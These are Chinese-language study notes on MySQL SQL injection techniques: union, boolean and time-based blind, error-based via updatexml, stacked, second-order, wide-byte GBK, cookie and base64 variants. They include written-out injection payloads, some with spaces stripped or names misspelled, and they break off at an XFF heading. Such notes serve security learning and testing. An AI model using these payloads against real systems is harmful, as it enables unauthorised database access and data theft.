1.SQL注入:
#1sql注入原理:前端构造参数拼接到sql语句查询数据库;
启示开发者:外部参数皆不可信
#2mysql相关:Mysql5.0版本后,有默认数据库information_schema
里面包含SCHEMATA(储存所有数据库库名,字段名是schema_name)
TABLES(所有数据库库名和表名,字段名分别是table_schema,table_name)
COLUMNS(所有库名表名字段名,table_schema,table_name,column_name)
#3limit:limitm,neg:limit0,1从第一条开始的一条记录
#4函数:database()、version()、user()
#5注释符:#、--空格、/**/(地址栏用--+、%23)
#6内联注释
#7union注入
用burp比较每次注入返回信息
在burp请求页时,+代表空格
#8布尔盲注
先判断库名长度:length(database())=1--+;
逐字判断数据库名:
substr(database(),1,1)=‘t’--+//用字符
ord(Substr(database(),1,1))=--+//用ascii码
用burp爆破;
表名和字段名也是逐字判断:
substr((selecttable_namefrominformaton_schema.tableswheretable_name=’database()’limit0,1),1,1)=’e’--+
#9报错注入
利用updatexml()函数获取user():
andupdatexml(1,concat(0x7e,(selectuser()),0x7e),1)--+;
数据库名:andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)--+;
表名:updatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),0x7e),1)--+;
#10时间注入:时间盲注
If(expr1,expr2,expr3)//1对返回2,否则3
If(length(database())1,sleep(5),1)//观察burp返回时间判断是否正确
查询数据库:if(substr(database(),1,1)=’s’,sleep(5),1)
#11堆叠查询注入:查询多条语句
‘;selectif(substr(user(),1,1)=’r’,sleep(3),1)%23//分号是灵*
#12二次注入:在相关网址注册用户test’,生成id,再输入id间接注入
#13宽字节注入:
参数被反斜杠单引号包围时,id无法逃逸,当数据库编码为gbk格式
用%df,因为反斜杠是%5c,%df%5c编码为字“连”,参数可逃逸,再结合union注入;
嵌套查询,单引号被转译,可以用(selectdatabase())表示’sql’;
#14cookie注入:
url没有id参数,cookie中有id参数,修改cookie注入
#15base64编码注入:
Url中的id参数经过base64编码
#16XFF注入: